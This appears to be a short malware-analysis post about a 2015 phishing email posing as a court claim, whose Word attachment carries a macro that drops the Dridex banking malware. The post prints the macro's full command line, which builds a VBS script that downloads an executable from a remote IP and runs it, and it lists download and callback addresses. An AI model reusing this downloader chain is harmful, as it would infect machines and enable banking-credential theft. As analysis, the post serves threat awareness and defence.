From: Isiah Mosley [Rosella.firstname.lastname@example.org]
Date: 7 April 2015 at 14:09
Subject: Schroders has issued the claim against you and passed for consideration to HM Courts [VM1993LVW]
The company name is randomly chose. In the above example the attachment was called VM1993LVW.doc which matched the reference in the subject. The Word document contains a malicious macro [pastebin] which executes the following command:
cmd.exe /c @echo dim gyuFYFGuigddd: Set gyuFYFGuigddd = createobject("Microsoft.XMLHTTP")>gyuFYFGuig.vbs & @echo dim bStrm: Set bStrm = createobject("Adodb.Stream")>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Open "GET", "http://126.96.36.199/aszxmy/image04.gif", False>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Send>>gyuFYFGuig.vbs & @echo Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")>>gyuFYFGuig.vbs & @echo tempFolder = environmentVars("TEMP")>>gyuFYFGuig.vbs & @echo Fileopen = tempFolder + "\dfsdfff.exe">>gyuFYFGuig.vbs & @echo with bStrm>>gyuFYFGuig.vbs & @echo .type = 1 >>gyuFYFGuig.vbs & @echo .open>>gyuFYFGuig.vbs & @echo .write gyuFYFGuigddd.responseBody>>gyuFYFGuig.vbs & @echo .savetofile Fileopen, 2 >>gyuFYFGuig.vbs & @echo end with>>gyuFYFGuig.vbs & @echo Set GBIviviu67FUGBK = CreateObject("Shell.Application")>>gyuFYFGuig.vbs & @echo GBIviviu67FUGBK.Open Fileopen>>gyuFYFGuig.vbs & cscript.exe gyuFYFGuig.vbsI can't be bothered to work out all of the crap with the .vbs which may of may not be importance. Along with an alternate macro, I can see download locations from:
For the record, 188.8.131.52 is OOO A.S.R. in Russia and 184.108.40.206 is Hetzner in Germany.
The downloaded .GIF file is definitely not a GIF and is instead an executable that gets saved as %TEMP%\dfsdfff.exe. This has a VirusTotal detecton rate of 2/56. Automated analysis tools    show the malware phoning home to:
220.127.116.11 (Vautron Serverhousing, Germany)
According to the Malwr report, it drops a DLL with a detection rate of 2/56 which is most likely a Dridex DLL.